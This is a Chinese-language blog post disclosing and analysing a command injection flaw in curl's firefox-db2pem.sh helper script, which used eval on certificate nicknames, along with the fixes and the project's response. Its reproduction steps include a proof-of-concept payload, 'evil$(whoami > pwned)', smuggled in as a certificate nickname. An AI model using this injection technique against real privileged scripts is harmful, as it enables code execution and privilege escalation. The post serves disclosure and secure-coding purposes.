curl脚本中的OS命令注入漏洞:通过不受信任证书昵称执行任意代码

本文详细分析了curl项目中firefox-db2pem.sh脚本存在的OS命令注入漏洞,攻击者可通过恶意证书昵称实现任意代码执行,特别是在root权限下运行时危害更大。

OS命令注入漏洞分析:curl脚本中的安全风险

漏洞概述

在curl项目的scripts/firefox-db2pem.sh辅助脚本中,发现了一个OS命令注入漏洞。该漏洞源于脚本使用eval命令处理证书昵称,导致恶意构造的昵称能够执行任意shell命令。

受影响版本

  • curl master分支(截至2025年6月26日,commit 2a9dfe2)
  • 该漏洞可能存在于所有历史版本中

技术细节

漏洞代码位置

1
eval certutil -d "$db" -L -n "$nickname" -a

由于eval会重新解析其参数,任何包含shell语法(如$(whoami > pwned))的恶意昵称都将在主机上执行。

攻击原理

攻击者可以通过以下步骤利用此漏洞:

  1. 创建临时Firefox配置文件
  2. 生成自签名证书
  3. 使用恶意昵称导入证书
  4. 运行易受攻击的辅助脚本

复现步骤

环境准备

1
sudo apt-get install -y libnss3-tools openssl

创建测试环境

1
2
3
4
export HOME=$(mktemp -d)
PROF="$HOME/.mozilla/firefox/safe.default"
mkdir -p "$PROF"
certutil -N --empty-password -d "$PROF"

生成恶意证书

1
2
3
openssl req -x509 -newkey rsa:2048 -nodes \
    -subj '/CN=RCE-Test/' -days 1 \
    -keyout "$HOME/key.pem" -out "$HOME/cert.pem"

注入恶意代码

1
2
payload='evil$(whoami > pwned)'
certutil -A -d "$PROF" -n "$payload" -t "C,C,C" -i "$HOME/cert.pem"

执行攻击

1
bash -x scripts/firefox-db2pem.sh "$HOME/ca-bundle.pem" || true

影响评估

攻击场景

  • 攻击者能够将证书导入任何Firefox NSS数据库(如自己的配置文件)
  • 当管理员以root权限运行此脚本生成系统级CA包时,可获得root级别的远程代码执行能力

实际风险

在多下游构建管道(Fuchsia、Cmake的Docker构建、openSUSE OBS)中,此脚本以root权限针对非特权Firefox配置文件运行,恶意昵称成为真实的权限提升载体。

修复方案

问题代码

1
eval certutil -d "$db" -L -n "$nickname" -a

建议修复

移除eval并使用更安全的方式处理参数:

1
certutil -d "$db" -L -n "$nickname" -a

实际修复

项目组最终采用以下修复方案:

1
echo "$nickname" | xargs -I{} certutil -d "$db" -L -a -n {}

项目响应

curl团队认为这不是一个curl安全漏洞,但同意改进脚本:

  • 该脚本不是curl的正式组成部分,不会通过make install安装
  • 仅为有用此需求的用户提供辅助功能
  • 改进脚本以更好地表明使用意图和期望

时间线

  • 2025年6月26日 21:10 UTC:漏洞报告提交
  • 2025年6月27日 00:11 UTC:提出修复方案
  • 2025年6月27日 09:47 UTC:报告标记为"信息性"
  • 2025年6月27日 18:13 UTC:修复提交
  • 2025年6月28日 12:19 UTC:报告公开披露

总结

虽然curl团队不认为这是正式的安全漏洞,但此问题揭示了在脚本开发中谨慎处理用户输入的重要性。特别是在可能以提升权限运行的场景下,需要格外注意命令注入等安全风险。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计